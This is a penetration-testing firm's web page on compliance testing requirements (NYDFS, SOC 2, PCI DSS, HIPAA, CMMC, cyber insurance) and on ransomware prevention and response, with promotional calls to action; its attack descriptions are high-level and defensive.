Cyber Insurance — Carriers now require evidence of annual testing as a condition of coverage. Some require it before issuing a policy. Full cyber insurance guide →

What Grid32 Provides for Compliance

Grid32 has delivered compliance-scoped penetration testing for organizations subject to NYDFS, SOC 2, PCI DSS, HIPAA, and FINRA since 2009. Every engagement includes the documentation your auditors need: an executive summary, detailed technical findings, a remediation roadmap, and a client-facing attestation letter that summarizes the scope and methodology in language designed for compliance reviewers.

NYDFS Penetration Testing Requirements

The New York Department of Financial Services requires annual penetration testing for covered entities. Here is exactly what the regulation mandates and what your auditors will look for.

Compliance 7 min read

What Is NYDFS 23 NYCRR 500?

The New York Department of Financial Services Cybersecurity Regulation, known as 23 NYCRR Part 500, is one of the most prescriptive and aggressively enforced cybersecurity mandates in the United States. First enacted in 2017 and significantly amended in November 2023, it applies to every entity operating under a license, registration, or charter from the New York Banking Law, Insurance Law, or Financial Services Law — including banks, insurance companies, mortgage companies, money transmitters, and licensed lenders.

The 2023 amendments introduced personal accountability for senior leadership. Under Section 500.17(b), the annual compliance certification must now be co-signed by both the CEO and the CISO, creating direct personal liability for cybersecurity failures.

The Penetration Testing Requirement

Section 500.5 of the regulation requires every covered entity to conduct annual penetration testing of its information systems based on the entity's risk assessment. Specifically, the regulation requires:

Annual penetration testing of information systems
Bi-annual vulnerability assessments (at minimum)
Testing must be risk-based and cover systems identified in the entity's risk assessment
Results must be documented and retained for at least five years
Identified vulnerabilities must be remediated on a defined schedule

Class A Companies Face Additional Requirements

The 2023 amendment created a new category — "Class A Companies" — defined as entities with over $20 million in gross annual revenue in each of the last two fiscal years from New York operations, or over $1 billion in total gross annual revenue. Class A Companies face stricter requirements including mandatory independent audits, privileged access management (PAM) solutions, and endpoint detection and response (EDR) systems.

What NYDFS Examiners Look For

NYDFS has ramped up enforcement significantly since 2022, issuing consent orders and fines reaching into the tens of millions of dollars. During examinations, regulators typically request:

The most recent penetration test report — including scope, methodology, and findings
Evidence of remediation for critical and high findings
Documentation showing the test was conducted by a qualified firm
The risk assessment that informed the testing scope
Vulnerability assessment results and remediation tracking

What Grid32 Provides for NYDFS Compliance

Grid32 has conducted NYDFS-aligned penetration tests for financial institutions in New York since the regulation's inception. Our reports are structured to satisfy examiner requests directly: an executive summary suitable for board review, detailed technical findings with severity ratings and remediation guidance, evidence of methodology, and a client-facing attestation letter confirming scope and completion. We retain documentation that supports the five-year retention requirement.

Ready to satisfy your NYDFS requirement?

Grid32 has completed NYDFS-compliant penetration tests for financial institutions across New York since 2009. Our reports are built for examiners, not just engineers.

SOC 2 Penetration Testing

SOC 2 auditors increasingly expect evidence of independent penetration testing. Here is what the criteria require and how to document it correctly.

Compliance 6 min read

Does SOC 2 Require Penetration Testing?

SOC 2 does not explicitly list "penetration testing" as a named requirement the way NYDFS or PCI DSS do. Instead, the AICPA Trust Service Criteria — particularly CC6 (Logical and Physical Access Controls) and CC7 (System Operations) — require organizations to identify and address vulnerabilities in their systems. In practice, auditors interpret this to require independent security testing, and penetration testing is the accepted standard for satisfying that expectation.

As SOC 2 has matured and become table stakes for SaaS companies and service providers handling sensitive data, the bar has risen. Auditors at Big Four firms and major CPA practices increasingly require a penetration test report as part of the audit evidence package — especially for SOC 2 Type II reports, which cover a period of time rather than a point in time.

Which Trust Service Criteria Are Relevant?

CC6.1 — The entity implements logical access security measures to protect against unauthorized access. Penetration testing validates these controls work as intended.
CC6.6 — The entity implements controls to protect against unauthorized access from outside the system boundaries. External penetration testing directly addresses this.
CC7.1 — The entity uses detection and monitoring procedures. Testing validates that detection works as designed.
A1.2 (Availability) — The entity implements controls to prevent and detect unauthorized changes. Testing validates this.

What Auditors Actually Request

During a SOC 2 audit, your auditor will typically request the penetration test report, evidence of when the test was conducted, documentation of findings, and evidence that high and critical findings were remediated within a reasonable timeframe. Some auditors will also ask whether the testing firm is independent from your organization — which rules out testing conducted entirely by internal staff.

Scope Considerations for SOC 2

For SOC 2 purposes, the scope of your penetration test should match the scope of your SOC 2 audit — i.e., the systems and infrastructure that support the service being audited. For a SaaS company, this typically means the web application, its APIs, and the cloud infrastructure hosting it. For a managed services provider, it may include network infrastructure as well.

Grid32 and SOC 2 Clients

Grid32 works with technology companies, SaaS providers, and managed services firms across New York and New Jersey who need penetration testing as part of their SOC 2 program. Our reports include the documentation auditors request — scope, methodology, findings with severity ratings, and a remediation summary — formatted to integrate directly into your audit evidence package.

Preparing for a SOC 2 audit?

Grid32 provides penetration testing that satisfies SOC 2 auditor requirements. We work with your auditor's timeline and provide documentation formatted for the evidence package.

PCI DSS Penetration Testing Requirements

PCI DSS explicitly requires penetration testing at least annually. Here is exactly what Requirement 11.4 mandates, what your QSA will look for, and how to comply.

Compliance 6 min read

The PCI DSS Penetration Testing Requirement

The Payment Card Industry Data Security Standard (PCI DSS) is explicit and non-negotiable about penetration testing. Requirement 11.4, updated in PCI DSS 4.0 (which became fully mandatory in March 2024), requires all entities that store, process, or transmit cardholder data to conduct penetration testing at least once every 12 months and after any significant infrastructure or application upgrade or change.

Unlike some frameworks that treat penetration testing as implied, PCI DSS specifies exactly what testing must cover:

External penetration testing of the cardholder data environment (CDE) perimeter
Internal penetration testing of the CDE
Testing of segmentation controls — verifying that systems out of scope are actually isolated from the CDE
Application-layer testing (not just network-layer) for any web-facing systems in scope

PCI DSS 4.0 Changes That Affect Penetration Testing

PCI DSS 4.0 introduced several changes relevant to penetration testing. The renumbering moved penetration testing to Requirement 11.4 (from 11.3 in the prior version). More significantly, 4.0 added explicit requirements for penetration testing methodology documentation, increased focus on application-layer testing, and added requirements around the tester's qualifications — specifically that the tester must be organizationally independent from the entity being tested.

Who Can Conduct PCI DSS Penetration Testing?

PCI DSS requires the tester to be organizationally independent — meaning internal staff cannot test the systems they manage. The standard allows either a qualified internal resource from a different team or an external firm. In practice, most QSAs and their clients use external firms to avoid independence concerns and to bring a genuinely adversarial perspective. Grid32 qualifies as an independent external testing firm for PCI DSS purposes.

Segmentation Testing

One area where organizations frequently fall short is segmentation testing. PCI DSS requires that if you are using network segmentation to reduce the scope of your CDE, you must verify that the segmentation is actually effective through testing. This means specifically attempting to cross the segmentation boundary — something many organizations neglect or only superficially address.

What Your QSA Will Request

Your Qualified Security Assessor will typically request the penetration test report, the tester's qualifications, the methodology used, evidence that all required components were in scope, segmentation test results, and documentation of finding remediation. Grid32 provides all of this in a format designed to satisfy QSA review.

Satisfy your PCI DSS Requirement 11.4

Grid32 conducts PCI DSS-scoped penetration tests including segmentation validation. Our reports are formatted to satisfy QSA evidence requirements directly.

HIPAA Penetration Testing

HIPAA requires risk assessments and technical safeguards for protected health information. Here is what healthcare organizations need to know about penetration testing.

Compliance 5 min read

Does HIPAA Require Penetration Testing?

HIPAA does not currently name penetration testing as an explicit requirement. The HIPAA Security Rule requires covered entities and business associates to conduct regular technical and non-technical evaluations — but leaves the specific method to the organization's discretion based on risk. However, penetration testing has become the de facto standard for satisfying the technical evaluation requirement, and HHS guidance strongly implies that organizations should conduct it.

Proposed HIPAA Security Rule amendments under HHS notice from 2024 would change this significantly. The proposed rule would make penetration testing an explicit and mandatory requirement for covered entities and business associates, specifically requiring annual testing of all electronic systems containing electronic protected health information (ePHI). While not yet final law, healthcare organizations should treat this as the direction of travel and begin building testing programs now.

Current HIPAA Requirements Relevant to Security Testing

Risk Analysis (§164.308(a)(1)) — Requires a thorough assessment of the potential risks and vulnerabilities to ePHI. Penetration testing is the most defensible way to identify and document technical vulnerabilities.
Evaluation (§164.308(a)(8)) — Requires periodic technical and non-technical evaluations in response to environmental or operational changes affecting security. This is where penetration testing most directly applies.
Audit Controls (§164.312(b)) — Requires hardware, software, and procedural mechanisms to record and examine activity on systems containing ePHI.

Why Healthcare Organizations Are High-Value Targets

Healthcare organizations are among the most targeted industries for ransomware and data theft. Patient records command high prices on criminal markets, and healthcare systems frequently run legacy technology with long patch cycles. According to BreachLock's 2025 Penetration Testing Intelligence Report, 70% of vulnerabilities detected in healthcare systems were medium and high severity — largely due to widespread legacy systems and inadequate security controls. This makes independent testing especially important.

Business Associates Are Also on the Hook

HIPAA's security requirements extend to business associates — any organization that handles ePHI on behalf of a covered entity. This includes EHR vendors, billing companies, IT managed service providers, and cloud hosting providers serving healthcare clients. Business associates face the same breach notification requirements and OCR enforcement risk as covered entities.

Serving healthcare clients or handling ePHI?

Grid32 conducts HIPAA-aligned penetration tests for covered entities and business associates. Our reports document the technical evaluation required under the Security Rule.

CMMC Penetration Testing Requirements

Defense contractors handling sensitive federal data face a hard October 2026 CMMC deadline. Here is what the Cybersecurity Maturity Model Certification requires for security testing.

Compliance 6 min read

What Is CMMC 2.0?

The Cybersecurity Maturity Model Certification (CMMC) is a Department of Defense program requiring contractors and subcontractors in the Defense Industrial Base (DIB) to demonstrate cybersecurity compliance before receiving contracts involving Federal Contract Information (FCI) or Controlled Unclassified Information (CUI). CMMC 2.0, which took effect in late 2024, defines three levels of certification:

Level 1 (Foundational) — 17 basic practices protecting FCI. Annual self-assessment. No penetration testing required.
Level 2 (Advanced) — 110 practices from NIST SP 800-171 for CUI. Third-party assessment every three years, annual self-affirmation. Penetration testing not explicitly required but often identified as a practice to implement.
Level 3 (Expert) — 110+ practices from NIST SP 800-172 for the most sensitive CUI. Government-led assessments. Penetration-type testing is effectively required through the comprehensive control set.

The October 2026 Deadline

Full CMMC 2.0 implementation takes effect for DoD contracts in October 2026. From that point, contractors must demonstrate the appropriate certification level before contract award. Contracts already in place will require compliance on a rolling basis as they renew. Organizations that have not begun their compliance journey face real risk of being locked out of DoD contracting.

How Penetration Testing Applies to CMMC

For Level 2, NIST SP 800-171 includes control CA-8, which requires penetration testing be conducted periodically and upon significant changes. While Level 2 assessments focus primarily on documentation and implementation evidence, CMMC assessors are trained to verify that security controls actually work — not just that policies exist on paper. Network penetration testing provides the most defensible evidence that access controls, segmentation, and detection capabilities are functioning as claimed.

For Level 3, the comprehensive NIST SP 800-172 control set includes more advanced requirements around adversary simulation, red team exercises, and continuous monitoring that effectively require penetration-type assessments.

The Flow-Down Problem

CMMC requirements flow down the supply chain. If a prime contractor is subject to CMMC Level 2, any subcontractor that handles CUI on their behalf is also subject to Level 2. Many small and mid-size defense suppliers are discovering that their prime contractor relationships require CMMC compliance they did not anticipate. This is driving significant demand for independent security testing among companies that have never conducted formal pentesting before.

Working toward CMMC compliance?

Grid32 provides network and application penetration testing that supports CMMC Level 2 and Level 3 evidence requirements. Don't wait until 2026.

How to Prepare for a Compliance Penetration Test

A well-prepared penetration test produces better findings and satisfies auditors more efficiently. Here is what to have ready before your engagement begins.

Compliance 5 min read

Define Your Scope Before Engaging a Vendor

The most important preparation step is defining scope — what systems, networks, and applications are included in the test. For compliance purposes, your scope must align with your regulatory framework. NYDFS requires testing based on your risk assessment. PCI DSS requires testing that covers your cardholder data environment. SOC 2 requires coverage of systems in the audit scope. Coming to a vendor with a clearly defined scope produces a more accurate quote and a more focused engagement.

List all external IP addresses and domains in scope
Identify the number and type of internal hosts (servers, workstations, network devices)
List all web applications and APIs in scope with their URLs
Identify segmentation boundaries to be tested
Note any systems that must be excluded (production payment systems, life-safety systems, etc.)

Gather Documentation Your Tester Will Need

A manual penetration test is more efficient and produces better results when the testing team has context. Prepare to share:

Network diagrams and topology documentation
Prior penetration test reports and remediation documentation
Active Directory domain names and structure
Any known issues or areas of concern you want specifically tested
Testing windows and blackout periods (times when testing should not occur)

Notify the Right People Internally

Your IT team, network operations center, and security team should be informed that testing is occurring — even if the wider organization is not. Testing without notifying your own security tools can trigger incident response workflows, waste your team's time, and potentially interrupt the test. Your Grid32 engineer will coordinate with your team before testing begins to establish communication protocols.

Execute an NDA Before Sharing Sensitive Information

Before sharing network documentation, IP ranges, or architecture diagrams, execute a mutual non-disclosure agreement with your testing firm. Grid32 is happy to sign an NDA before any sensitive information is exchanged. We treat all client information as strictly confidential and do not retain data beyond what is necessary to complete the engagement.

Have Remediation Resources Ready

The best outcome of a compliance penetration test is not a clean report — it's finding real issues and fixing them before an attacker does. Ensure your IT team has the bandwidth to address findings promptly after the report is delivered. For compliance purposes, documented remediation of high and critical findings within a defined timeframe is important evidence for auditors.

Ready to schedule your compliance pentest?

Grid32 walks you through scope definition as part of the engagement kickoff. Use our quote builder to get started or contact us to discuss your specific framework requirements.

Penetration Test Attestation Reports

After a penetration test, you need more than a findings report. Here is what compliance documentation Grid32 provides and how it satisfies auditor and regulator requirements.

Compliance 4 min read

Why Attestation Documentation Matters

A penetration test report serves two audiences with different needs: your technical team needs granular findings and remediation guidance, while your auditors, clients, and regulators need confirmation that testing occurred, what it covered, and what the outcome was. Attestation documentation bridges that gap — providing compliance-ready evidence without exposing sensitive technical findings to audiences who don't need them.

What Grid32 Provides After Every Engagement

Every Grid32 engagement delivers a tiered documentation package:

Executive Summary — A two to three page non-technical overview of scope, methodology, overall findings, and risk posture. Suitable for board presentations, CISO reporting, and auditor review without disclosing exploitable details.
Detailed Technical Report — The complete findings document: every vulnerability, evidence of exploitation, severity rating, affected systems, and step-by-step remediation guidance. For your CISO, IT team, and security engineers.
Attestation Letter — A signed letter on Grid32 letterhead confirming the scope, dates, methodology, and overall outcome. Formatted specifically for auditors, regulators, clients, and cyber insurers who need to confirm testing occurred without receiving the full technical report.
Client-Facing Summary — A condensed, business-language summary suitable for sharing with customers who ask for evidence of your security testing program.

Using Attestation Documentation for Specific Frameworks

NYDFS — The attestation letter and executive summary support the annual compliance certification. The detailed report supports examiner requests for penetration test documentation.
SOC 2 — The attestation letter and executive summary integrate directly into the audit evidence package. The detailed report is available to auditors under NDA.
PCI DSS — The complete report including segmentation test results satisfies Requirement 11.4 documentation requirements. Your QSA receives the full technical report.
Cyber Insurance — The attestation letter confirms annual testing for carriers who require evidence of it at renewal.

Need compliance-ready documentation?

Grid32 structures every engagement to produce the documentation your auditors and regulators require. Our reports are designed for compliance, not just security teams.

Penetration Testing Frequency by Compliance Framework

Different frameworks have different testing frequency requirements. Here is what each one mandates and how to build a testing calendar that satisfies all of them.

Compliance 4 min read

Framework Testing Frequency Summary

NYDFS 23 NYCRR 500 — Annual penetration testing, bi-annual vulnerability assessments. Testing must be conducted based on the entity's risk assessment.
PCI DSS 4.0 — Annual testing minimum, plus testing after any significant infrastructure or application change.
SOC 2 — Not explicitly defined; auditors expect testing within the audit period. For Type II audits covering 12 months, annual testing is the standard expectation.
HIPAA (current) — No explicit frequency specified; testing should occur as part of the periodic evaluation process and whenever the environment changes materially.
HIPAA (proposed amendments) — Annual testing expected if the amendments are enacted as drafted.
CMMC Level 2 — Not explicitly named in the standard, but NIST SP 800-171 CA-8 calls for periodic testing and testing upon significant changes.
CMMC Level 3 — More frequent testing aligned with the advanced NIST SP 800-172 control set.
Cyber Insurance — Most carriers require annual testing evidence at renewal, with some requiring it prior to initial coverage.

Building a Testing Calendar

Organizations subject to multiple frameworks can often satisfy several requirements with a single well-scoped annual engagement. A network and application penetration test conducted in Q4 can produce documentation usable for NYDFS certification (due April 15), SOC 2 audit evidence, PCI DSS Requirement 11.4, and cyber insurance renewal — all from one engagement. Grid32 helps clients plan their testing calendar to maximize compliance coverage from each engagement.

When to Test More Frequently

Annual testing satisfies most frameworks, but more frequent testing is warranted when your environment changes significantly. Major infrastructure migrations, cloud transitions, significant application launches, mergers and acquisitions, and network redesigns all represent trigger events for additional testing. PCI DSS explicitly requires this; the others strongly imply it.

Planning your annual testing calendar?

Grid32 helps organizations schedule penetration testing to maximize compliance coverage. One well-scoped engagement often satisfies multiple framework requirements.

Compliance Pentest vs. Real Security Assessment

Passing a compliance audit and being genuinely secure are not the same thing. Here is the difference between minimum-viable compliance testing and a real adversarial assessment.

Compliance 5 min read

The Compliance Checkbox Problem

The penetration testing market includes a spectrum from genuine adversarial assessments to compliance theater — automated scans with branded PDF reports that satisfy auditor documentation requirements but provide little actual security value. The compliance checkbox problem is real: organizations can pass their annual NYDFS certification, receive their PCI DSS Requirement 11.4 sign-off, and complete their SOC 2 audit while still being fundamentally vulnerable to the attacks their auditors are trying to prevent.

This happens because compliance frameworks specify that testing must occur and be documented, but they do not always specify the quality or depth of that testing.

What Distinguishes a Real Assessment

Manual exploitation vs. automated scanning — A real penetration test involves an engineer actively attempting to exploit vulnerabilities and chain them together. An automated scan runs tools and reports what it finds without human judgment about exploitability, business impact, or attack paths.
Chained vulnerabilities — Real attackers chain low-severity findings into high-impact compromises. A compliance scan treats each finding in isolation. A genuine assessment explores how findings combine.
Custom pretexts and scenarios — A real social engineering assessment uses attacker-grade pretexts tailored to your organization. A compliance-focused assessment may use generic, easily-detected templates.
Senior engineers vs. junior analysts — The difference between a senior certified engineer and a first-year analyst running a scanner is enormous. Compliance frameworks rarely specify who conducts the test.

You Can Have Both

The good news is you do not have to choose between compliance documentation and genuine security value. A well-scoped, manually executed penetration test by senior engineers satisfies every compliance framework's documentation requirements while also providing real security findings. Grid32's approach is to produce genuine security assessments that also happen to generate the compliance documentation your auditors require.

The Cost of Choosing Compliance Over Security

Organizations that optimize for the cheapest compliance-passable test expose themselves to a different kind of risk: the breach that the cheap test didn't find. When that breach occurs after a "passing" penetration test report exists, the liability and reputational exposure is significant. Board members, regulators, and courts will ask why the test didn't find the issue that attackers exploited.

Get real security findings, not just compliance paperwork.

Grid32 conducts genuine manual penetration tests that satisfy compliance requirements and find the vulnerabilities that matter. Senior engineers only — no junior analysts, no automated reports.

Cyber Insurance Penetration Testing Requirements

Cyber insurance carriers are now requiring penetration testing before issuing or renewing policies. Here is what underwriters expect and how to satisfy them.

Compliance 5 min read

Why Carriers Now Require Penetration Testing

The cyber insurance market changed dramatically after 2021, when a wave of ransomware attacks drove up claims to unsustainable levels. Carriers responded by tightening underwriting standards, raising premiums, reducing coverage limits, and — most relevantly here — requiring applicants to demonstrate proactive security practices before coverage would be issued or renewed. Penetration testing is now a standard element of the underwriting questionnaire for most major carriers, and the absence of regular testing can result in declination, exclusions, or significantly higher premiums.

What Carriers Typically Ask

Cyber insurance applications typically ask:

Whether you conduct annual penetration testing
When your most recent test was conducted
What firm conducted it (internal vs. external)
Whether high and critical findings were remediated
Whether you conduct vulnerability scanning between tests

Some carriers at higher coverage limits require you to submit the actual penetration test report or attestation letter as part of the underwriting process. Fabricating or misrepresenting testing status on an insurance application constitutes fraud and can result in claim denial.

How Testing Affects Your Premium

Organizations that demonstrate annual independent penetration testing, documented remediation processes, and mature vulnerability management programs consistently receive better pricing than organizations that cannot. The difference is not trivial — carriers have tiered premium structures that reward security maturity. A single well-documented penetration test engagement can reduce your annual premium by more than the cost of the test itself.

What Documentation Carriers Accept

Most carriers accept a signed attestation letter from the testing firm, confirming scope, dates, methodology, and overall findings. They do not require access to the full technical report with exploitable details. Grid32 provides an attestation letter with every engagement specifically formatted for insurance underwriter requirements.

Up for cyber insurance renewal?

Grid32 provides the penetration testing and attestation documentation your carrier requires. Our attestation letters are formatted specifically for insurance underwriters.

Ransomware Prevention & Incident Response

Ransomware is the most financially damaging threat facing businesses today. Here is how attacks work, how to prevent them, and how penetration testing closes the gaps attackers exploit.

Ransomware attacks cost businesses an average of $140,000 per incident in 2025 — and that figure does not account for downtime, reputational damage, or regulatory penalties. The vast majority of successful ransomware attacks exploit vulnerabilities that independent penetration testing would have found. This guide covers how modern ransomware works, the specific weaknesses attackers exploit, and the concrete steps organizations can take to reduce their exposure.

Why Ransomware Remains the Top Threat

Ransomware has dominated the cybersecurity threat landscape for years and shows no signs of abating. In 2025, ransomware was linked to 75% of all system intrusion breaches, attacks increased by 57.5% compared to the prior year, and the average breach cost for small and mid-sized businesses reached $140,000. The ecosystem has professionalized: ransomware-as-a-service (RaaS) platforms allow even technically unsophisticated criminals to deploy sophisticated attacks, and double extortion — encrypting data and threatening to publish it — has become standard.

The Connection Between Pentesting and Ransomware Prevention

The entry points ransomware uses are well-documented: unpatched external vulnerabilities, credential theft via phishing, weak or absent MFA, exposed RDP, and lateral movement enabled by poor network segmentation. Every one of these is something a penetration test specifically looks for. Organizations that conduct annual penetration testing and remediate findings have measurably better outcomes against ransomware than those that don't.

What's in This Guide

How ransomware attacks work — the anatomy of a modern attack from initial access to ransom demand
How penetration testing prevents ransomware — the specific connection between testing and resilience
Common entry points ransomware exploits — and how to close them
What happens after a ransomware attack — the recovery process and what it costs
How to build a ransomware response plan
Backup strategy for ransomware protection
Business Email Compromise (BEC) — how it works and how to test for it
What is a tabletop exercise — and do you need one
Should you pay the ransom?

How Ransomware Attacks Work

Understanding how ransomware attacks unfold is the first step toward preventing them. Here is what happens from initial compromise to ransom demand.

Ransomware 6 min read

Modern Ransomware Is Not Random

The popular image of ransomware as malware that randomly infects a computer and demands Bitcoin is outdated. Modern ransomware attacks against businesses are deliberate, multi-stage operations carried out by organized criminal groups. Attackers conduct reconnaissance, establish persistent access, move laterally through the network over days or weeks, and only deploy the ransomware payload after reaching the most valuable systems. The average dwell time — the period between initial compromise and ransomware deployment — was over three weeks in 2024.

Stage 1: Initial Access

Attackers enter the network through one of several well-documented vectors:

Phishing — A malicious email tricks an employee into clicking a link or opening an attachment that deploys malware or steals credentials
Exploited vulnerabilities — Unpatched systems with known vulnerabilities in VPNs, firewalls, RDP, or web-facing services are directly exploited
Stolen credentials — Credentials obtained from prior breaches, dark web purchases, or credential-stuffing attacks are used to authenticate directly
Supply chain — A trusted vendor or software component is compromised, providing access to all customers

Stage 2: Persistence and Reconnaissance

After initial access, attackers establish persistence mechanisms to maintain access even if the initial entry point is discovered and closed. They then conduct internal reconnaissance: mapping the network, identifying domain controllers, locating backup systems, and finding the most valuable data. This phase can last days, weeks, or longer.

Stage 3: Lateral Movement and Privilege Escalation

Using a combination of stolen credentials, privilege escalation exploits, and legitimate Windows tools (a technique called "living off the land"), attackers move from their initial foothold to higher-value systems. The goal is typically to reach domain administrator privileges, which gives them control over the entire Active Directory environment.

Stage 4: Data Exfiltration

Before deploying ransomware, most modern groups copy sensitive data to their own infrastructure. This enables double extortion: demanding payment both to decrypt files and to prevent public release of the stolen data. Even organizations with good backups now face this threat.

Stage 5: Ransomware Deployment

With access to domain administrator credentials, attackers deploy ransomware simultaneously across the entire environment — encrypting servers, workstations, and backup systems. The business discovers it when employees cannot access files and ransom notes appear on screens.

Where Penetration Testing Helps

Every stage of the attack chain above has a corresponding defensive measure that penetration testing validates. External testing finds the exploited vulnerabilities before attackers do. Internal testing identifies privilege escalation paths and lateral movement opportunities. Phishing assessments reveal which employees will click. A comprehensive penetration test maps the exact attack chain an adversary would follow — before they do.

Know your attack surface before attackers do.

Grid32 maps the attack paths ransomware groups would use against your environment — and gives you a prioritized roadmap to close them.

How Penetration Testing Prevents Ransomware

Most ransomware attacks exploit vulnerabilities that a penetration test would have found. Here is the direct connection between regular testing and ransomware resilience.

Ransomware 5 min read

The Vulnerabilities Ransomware Uses Are Not Exotic

One of the most important findings from post-breach investigations is how often ransomware attackers exploit vulnerabilities that organizations already knew about — or that would have been found by a competent penetration test. Unpatched external systems, default credentials, exposed RDP, weak network segmentation, and absence of MFA account for the majority of initial access methods. These are not zero-day exploits requiring nation-state resources. They are the standard finding list of a network penetration test.

The Most Common Entry Points Pentesting Addresses

External vulnerabilities — Unpatched VPNs, firewalls, and internet-facing services are consistently the top initial access vector. External penetration testing identifies these before ransomware groups do.
Credential exposure — Weak passwords, password reuse, and absence of MFA allow credential-based attacks. Internal network testing identifies where these exist.
Lateral movement paths — Once inside, attackers move laterally to reach domain controllers and backup systems. Internal testing maps these paths so they can be closed.
Backup accessibility — If backups are reachable from the production network, attackers destroy them before deploying ransomware. Segmentation testing validates backup isolation.
Human susceptibility — Phishing remains the most common initial access vector. Social engineering testing measures and benchmarks your employees' resistance.

The Math on Prevention vs. Recovery

The average cost of a ransomware recovery for a small to mid-sized business in 2025 is $140,000 — and that is just direct costs. A comprehensive annual penetration test from Grid32 costs a fraction of that figure. Proactive security testing is not just good practice; it is the most cost-effective way to reduce ransomware exposure, and it produces compliance documentation and insurance benefits as a secondary benefit.

Testing Validates Your Defenses Actually Work

Organizations frequently discover during a penetration test that security controls they believed were working were not. The firewall rule that was supposed to block lateral movement. The MFA that turned out to be optional for certain accounts. The backup system that turned out to be accessible from the production network. These are the discoveries that determine whether you become a ransomware victim — and they can only be validated through testing, not assumption.

Find your ransomware exposure before attackers do.

Grid32's network penetration tests specifically target the entry points and lateral movement paths ransomware groups use. The cost of testing is a fraction of the cost of recovery.

Common Ransomware Entry Points

Ransomware groups use a predictable set of entry points. Here is what they are, how attackers exploit them, and what you can do to close each one.

Ransomware 6 min read

Entry Point 1: Unpatched External Systems

Internet-facing systems with known, unpatched vulnerabilities are the most direct path into a corporate network. VPN appliances have been particularly targeted — Fortinet, Pulse Secure, Citrix, and SonicWall have all had critical vulnerabilities exploited at scale by ransomware groups. Attackers scan the internet constantly for these signatures; a vulnerable system can be exploited within hours of a public disclosure.

How to close it: Maintain a current external asset inventory, implement a rigorous patch management process with defined SLAs for critical patches, and conduct external penetration testing to identify vulnerabilities before attackers do.

Entry Point 2: Exposed RDP

Remote Desktop Protocol (RDP) exposed directly to the internet is a gift to ransomware operators. Brute-force credential attacks, credential stuffing, and exploitation of RDP vulnerabilities are all common initial access methods. Many organizations expose RDP unintentionally or temporarily and then forget about it.

How to close it: Never expose RDP directly to the internet. Require VPN access before RDP is reachable, implement network-level authentication, and enable MFA for all remote access. External penetration testing identifies exposed RDP in your environment.

Entry Point 3: Phishing and Credential Theft

Phishing remains the most common initial access vector for ransomware. Attackers send emails that steal credentials, deliver malware through attachments, or trick users into authorizing access. Business Email Compromise (BEC) attacks are a related threat that can fund or initiate ransomware operations.

How to close it: Implement phishing-resistant MFA (hardware tokens or FIDO2) for all external-facing accounts. Conduct regular phishing simulations and security awareness training. Grid32 offers phishing assessment services that benchmark your employees' susceptibility.

Entry Point 4: Weak or Absent MFA

Even strong passwords are insufficient without MFA. Credential stuffing attacks — using credentials from prior breaches — succeed at scale against accounts without MFA. Microsoft reports that MFA blocks over 99% of automated credential attacks.

How to close it: Implement MFA universally — email, VPN, cloud services, administrative accounts, and critical applications. Require phishing-resistant MFA (FIDO2) for privileged accounts. NYDFS specifically mandates this; other frameworks strongly imply it.

Entry Point 5: Supply Chain Compromise

Attackers increasingly target managed service providers (MSPs), software vendors, and IT tools used by many companies simultaneously. A successful supply chain compromise gives attackers access to every customer of the compromised vendor. The SolarWinds and Kaseya incidents are high-profile examples of this technique at scale.

How to close it: Assess your MSPs and vendors' security posture. Limit the access third parties have to your environment to the minimum necessary. Network segmentation limits the blast radius of a vendor compromise. Internal penetration testing identifies what a compromised vendor account could reach.

Know which entry points exist in your environment.

Grid32 tests all the entry points ransomware uses — external, internal, and human. Use our quote builder to scope an engagement.

Ransomware Recovery: What Happens After an Attack

Most organizations significantly underestimate the cost and complexity of recovering from ransomware. Here is what the recovery process actually looks like.

Ransomware 6 min read

The True Cost of Ransomware Recovery

The ransom payment — if made — is often not the largest cost of a ransomware incident. The average cost of a ransomware recovery for a small to mid-sized business in 2025 is $140,000, and that figure includes downtime, recovery costs, and lost productivity but often underestimates legal costs, regulatory penalties, and reputational damage. Recovery from a significant ransomware incident typically takes two to four weeks for basic operations and months for full restoration.

Immediate Response (Hours 1–48)

The first hours after discovering a ransomware attack are critical and chaotic. The immediate priorities are:

Isolate affected systems from the network to stop lateral spread
Identify the scope — how many systems are encrypted, what data may have been exfiltrated
Engage your incident response team or retainer firm
Preserve forensic evidence — do not simply wipe and restore without understanding how access was gained
Contact legal counsel — attorney-client privilege may protect your communications
Notify cyber insurance carrier immediately — most policies require prompt notification

Regulatory Notifications

Ransomware attacks typically trigger notification obligations. NYDFS requires notification within 72 hours of determining an incident occurred. HIPAA requires notification to HHS and potentially to affected individuals within 60 days of discovery. State breach notification laws vary but many require notification within 30 days. Failure to notify on time compounds regulatory risk significantly.

To Pay or Not to Pay

The ransom payment decision involves law enforcement considerations (FBI advises against payment), OFAC compliance (paying sanctioned groups is illegal), insurance coverage limits, and the practical question of whether paying will actually produce working decryption keys. In practice, many organizations pay when they have no viable alternative and when their insurance covers it — but the FBI reports that roughly 40% of victims who pay do not receive working decryption tools, or receive tools too slow to be practical.

Rebuilding from Scratch

Even organizations with good backups often cannot simply restore from backup and resume operations. Attackers frequently remain in the environment after deploying ransomware, waiting to re-attack once systems are restored. A thorough forensic investigation to understand initial access, persistence mechanisms, and the full scope of compromise must precede restoration. Organizations that skip this step are often hit again within weeks.

Prevention costs a fraction of recovery.

The average ransomware recovery costs $140,000. A Grid32 penetration test finds and closes the entry points before they're used. Get a quote today.

How to Build a Ransomware Response Plan

The decisions you make in the first 48 hours of a ransomware attack determine the outcome. Here is what your response plan needs before an incident occurs.

Ransomware 6 min read

Why You Need a Plan Before You Need It

The middle of a ransomware incident is the worst possible time to make decisions about who to call, whether to pay, and how to communicate with customers and regulators. Organizations without a plan make these decisions under panic conditions, with limited information, while trying to manage operational chaos. The result is almost always worse outcomes than organizations with a documented, tested response plan. A ransomware response plan is not a luxury. It is a core operational document for any business that depends on its IT systems.

Core Elements of a Ransomware Response Plan

Incident identification and declaration — Who determines that an incident is a ransomware event, and what is the threshold for activating the response plan?
Escalation chain — Who is called, in what order, and what are their responsibilities? This must include after-hours contact information that is stored off the potentially-encrypted network.
Containment procedures — Step-by-step procedures for isolating systems, documented in a way that non-technical managers can execute if IT staff are unavailable.
External contacts — Cyber insurance carrier, legal counsel, IR retainer firm, FBI, state regulators. All contact information stored offline and off-network.
Payment decision authority — Who has the authority to authorize a ransom payment? What is the process, including OFAC check and legal review?
Communication templates — Pre-drafted communications for employees, customers, regulators, and the board. Reviewed by legal counsel in advance.
Recovery procedures — How systems are rebuilt, in what order, and what must be verified before systems are returned to production.

Store Critical Documentation Offline

